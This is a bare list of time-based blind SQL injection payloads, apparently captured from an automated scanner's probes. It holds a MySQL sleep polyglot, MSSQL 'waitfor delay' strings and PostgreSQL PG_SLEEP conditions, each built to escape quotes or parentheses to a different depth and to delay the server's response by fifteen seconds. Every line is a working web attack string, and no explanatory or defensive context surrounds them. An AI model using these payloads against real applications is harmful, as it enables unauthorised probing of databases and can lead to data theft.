(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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-1 waitfor delay '0:0:15' --

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5z4DozJK'; waitfor delay '0:0:15' --

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Dnyyjz9G'); waitfor delay '0:0:15' --

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NxsZRArs')); waitfor delay '0:0:15' --

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5aZZFhJ0' OR 492=(SELECT 492 FROM PG_SLEEP(15))--

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DXrCZZJI') OR 343=(SELECT 343 FROM PG_SLEEP(15))--

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5Jamc0m4')) OR 871=(SELECT 871 FROM PG_SLEEP(15))--